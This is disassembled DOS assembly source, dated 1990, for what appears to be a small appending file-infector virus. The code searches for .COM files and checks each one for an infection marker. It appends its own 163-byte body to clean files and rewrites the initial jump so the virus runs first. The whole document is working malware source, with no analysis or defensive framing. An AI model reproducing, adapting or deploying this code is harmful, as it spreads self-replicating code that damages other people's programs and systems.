PAGE 59,132 ;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл ;лл лл ;лл S лл ;лл лл ;лл Created: 4-Aug-90 лл ;лл Version: лл ;лл Passes: 9 Analysis Options on: H лл ;лл лл ;лл лл ;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл data_2e equ 1ABh ; (946E:01AB=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h s proc far start: jmp loc_1 ; (0108) db 0CDh, 20h, 7, 8, 9 loc_1: call sub_1 ; (010B) s endp ;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп ; SUBROUTINE ;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм sub_1 proc near pop si sub si,10Bh mov bp,data_1[si] ; (946E:01A0=0) add bp,103h lea dx,[si+1A2h] ; Load effective addr xor cx,cx ; Zero register mov ah,4Eh ; 'N' loc_2: int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_6 ; Jump if carry Set mov dx,9Eh mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax mov ah,3Fh ; '?' lea dx,[si+1A8h] ; Load effective addr mov di,dx mov cx,3 int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx cmp byte ptr [di],0E9h je loc_4 ; Jump if equal loc_3: mov ah,4Fh ; 'O' jmp short loc_2 ; (0120) loc_4: mov dx,[di+1] mov data_1[si],dx ; (946E:01A0=0) xor cx,cx ; Zero register mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,di mov cx,2 mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx cmp word ptr [di],807h je loc_3 ; Jump if equal xor dx,dx ; Zero register xor cx,cx ; Zero register mov ax,4202h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset cmp dx,0 jne loc_3 ; Jump if not equal cmp ah,0FEh jae loc_3 ; Jump if above or = mov ds:data_2e[si],ax ; (946E:01AB=0) mov ah,40h ; '@' lea dx,[si+105h] ; Load effective addr mov cx,0A3h int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx jc loc_5 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register mov dx,1 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov ah,40h ; '@' lea dx,[si+1ABh] ; Load effective addr mov cx,2 int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx loc_5: mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle loc_6: jmp bp ;*Register jump data_1 dw 0 ; Data table (indexed access) db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0 sub_1 endp seg_a ends end start